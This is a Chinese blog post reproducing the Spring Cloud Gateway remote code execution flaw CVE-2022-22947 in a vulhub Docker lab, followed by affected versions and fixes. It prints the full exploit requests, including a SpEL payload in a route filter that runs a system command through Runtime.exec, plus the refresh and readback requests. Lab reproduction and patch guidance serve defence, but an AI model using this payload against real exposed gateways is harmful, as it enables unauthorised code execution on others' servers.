Spring Cloud Gateway RCE (CVE-2022-22947)漏洞复现

一 简介
Spring Cloud Gateway 是Spring Cloud的一个全新的API网关项目,目的是为了替换掉Zuul1。Gateway可以与Spring Cloud Discovery Client(如Eureka)、Ribbon、Hystrix等组件配合使用,实现路由转发、负载均衡、熔断等功能,并且Gateway还内置了限流过滤器,实现了限流的功能。

二 漏洞原理
Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求

三 漏洞复现
        1.环境搭建
          这里使用docker去搭建,使用以下命令

  docker安装教程icon-default.png?t=M85Bhttps://blogsafe.blog.csdn.net/article/details/127275322

docker pull vulhub/spring-cloud-gateway:3.1.0     //下载镜像

docker run -itd -p 8010:8080 --name spring vulhub/spring-cloud-gateway:3.1.0   //启动 

 

2.漏洞复现

                1.添加一个spel表达式路由,修改处已在图中标出

POST /actuator/gateway/routes/一个梦字 HTTP/1.1
Host: 172.16.7.123:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like         Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
 
{
  "id": "一个梦字",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

      2. 然后应用刚添加的路由发送如下数据包,此数据包会触发表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.7.123:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

3.发送如下数据包可查看结果:

GET /actuator/gateway/routes/一个梦字 HTTP/1.1
Host: 172.16.7.123:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 


Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。

3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为 CVE-2022-22947:

CVE-2022-22947 | Security | VMware Tanzu

漏洞描述
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

影响范围

漏洞利用的前置条件:

除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);

Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:

# 默认为truemanagement.endpoint.gateway.enabled=true
# 以逗号分隔的一系列值,默认为 health# 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口management.endpoints.web.exposure.include=gateway
漏洞影响的 Spring Cloud Gateway 版本范围:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

其他旧的、不受支持的 Spring Cloud Gateway 版本

解决方案
更新升级 Spring Cloud Gateway 到以下安全版本:

Spring Cloud Gateway 3.1.1

Spring Cloud Gateway 3.0.7

或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。

漏洞修复:

临时解决方案
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用

如果需要Actuator端点,则应使用Spring Security对其进行保护。

官方升级补丁

3.1.x版本用户及时升级到3.1.1+

3.0.x版本用户及时升级到3.0.7+
 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值